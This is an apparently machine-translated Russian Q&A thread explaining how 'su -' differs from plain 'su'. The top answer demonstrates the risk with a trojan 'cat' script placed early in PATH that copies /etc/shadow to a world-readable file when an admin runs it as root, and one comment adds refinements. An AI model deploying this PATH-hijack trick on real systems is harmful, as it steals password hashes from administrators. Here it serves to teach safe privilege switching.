Почему мы используем su, а не просто su?

Ответы:

242

su -вызывает оболочку входа в систему после переключения пользователя. Оболочка входа в систему сбрасывает большинство переменных среды, обеспечивая чистую базу.

su просто переключает пользователя, обеспечивая нормальную оболочку со средой, почти такой же, как у старого пользователя.

Представьте, вы разработчик программного обеспечения с обычным пользовательским доступом к машине, а ваш невежественный администратор просто не даст вам root-доступ. Давайте (надеюсь) обмануть его.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Теперь вы спрашиваете своего администратора, почему вы не можете catиспользовать фиктивный файл в своей домашней папке, он просто не будет работать!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Если ваш админ не такой умный или просто ленивый, он может подойти к вам и попробовать свои полномочия суперпользователя:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Вау! Спасибо, супер админ!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Он, он.

Возможно, вы заметили, что поврежденная $PATHпеременная не была сброшена. Этого бы не произошло, если бы su -вместо этого вызывал админ .

шутник
источник
10
su --так же, как su.
Микель
12
- это флаг, который большинство программ интерпретируют как «ничего после этого не следует принимать за флаг». Полезно для greping для вещей, которые начинаются с тире.
Дэвид Макинтош
2
Не забудьте установить umaskкак 000, иначе это не сработает.
Лекенстейн
10
Можно было бы просто положить suфайл в PATH. Не так сложно подражать поведению реального su. Супер-пользователь все равно был небрежным :-)
Стефан Гименес
10
su --НЕ то же самое, что su -: --говорит обработчику опций getopt (s) (или аналогичному) прекратить обработку командной строки для дальнейших опций (полезно, например, если остальные содержат имена файлов, которые могут начинаться с '-'). То есть, в «ет -i - -f»: -f затем обрабатывается как обычный аргумент, так что здесь , как имя файла , к rm -i, а не в качестве additionnal -fопции к rmкоманде. Так su --это справедливо suи нет su -! Так su --что было бы небезопасно (веселый и поучительный) пример Гивана от виля. Используйте su -.
Оливье Дюлак
36

su -полностью регистрирует вас как root, а suделает так, что вы притворяетесь root.

Наиболее очевидный пример этого - ~домашний каталог пользователя root, если вы его используете su -, но ваш домашний каталог, если вы его используете su.

В зависимости от вашей системы это также может означать различия в подсказках PATHили файлах истории.

Поэтому, если вы являетесь частью команды, администрирующей систему, и ваш коллега дает вам команду на запуск, вы знаете, что она будет работать одинаково, если вы оба используете su -, но если вы оба используете su, могут быть различия из-за того, что у вас есть различные конфигурации оболочки.

С другой стороны, если вы хотите запустить команду от имени пользователя root, но использовать свою собственную конфигурацию, то, возможно su, вам лучше.

Также не забывайте о том sudo, что есть -sвозможность запустить оболочку от имени root. Конечно, это также имеет разные правила, и они меняются в зависимости от того, какой дистрибутив вы используете.

Mikel
источник
1
когда я "su", я получаю ~ и $ HOME, оба оценивая / root. Поведение, которое вы описываете, специфично для определенных оболочек, версий ОС или чего-то еще? Насколько я понимаю, ~ может быть расширен ядром. У меня есть zsh как моя (и root) оболочка.
JasonWoof
Ваш .bashrcили /etc/bashrcили /etc/profile.dсценарии устанавливаются PATH. Ищите if [ $UID -eq 0 ]или что-то в этом роде.
Микель
$USERнапример, оставлено без изменений.
Петер
1
Как насчет sudo su?
Симон Куанг
1
Ваш пример не работает для меня. Я получаю один и тот же каталог в любом случае.
Даниэль В.
1

Я использую su - когда я нахожусь в каталоге как обычный пользователь, но хочу переключиться на root и оставаться в том же каталоге после переключения. Когда вы используете su - он переключает пользователя на root, а также переводит вас в / root, который является корневым домашним каталогом.

Кэлвин Дайк
источник
1
Или /все, что определено как домашний каталог root
Джефф Шаллер
1

Основным отличием является:

su - username устанавливает среду оболочки так, как если бы она была чистым логином от имени указанного пользователя, она обращается к переменным среды указанных пользователей и использует их,

su username просто запускает оболочку с текущими настройками среды для указанного пользователя.

Если имя пользователя не указано с помощью suи su -, корневая учетная запись подразумевается по умолчанию.

Ахиль М.К.
источник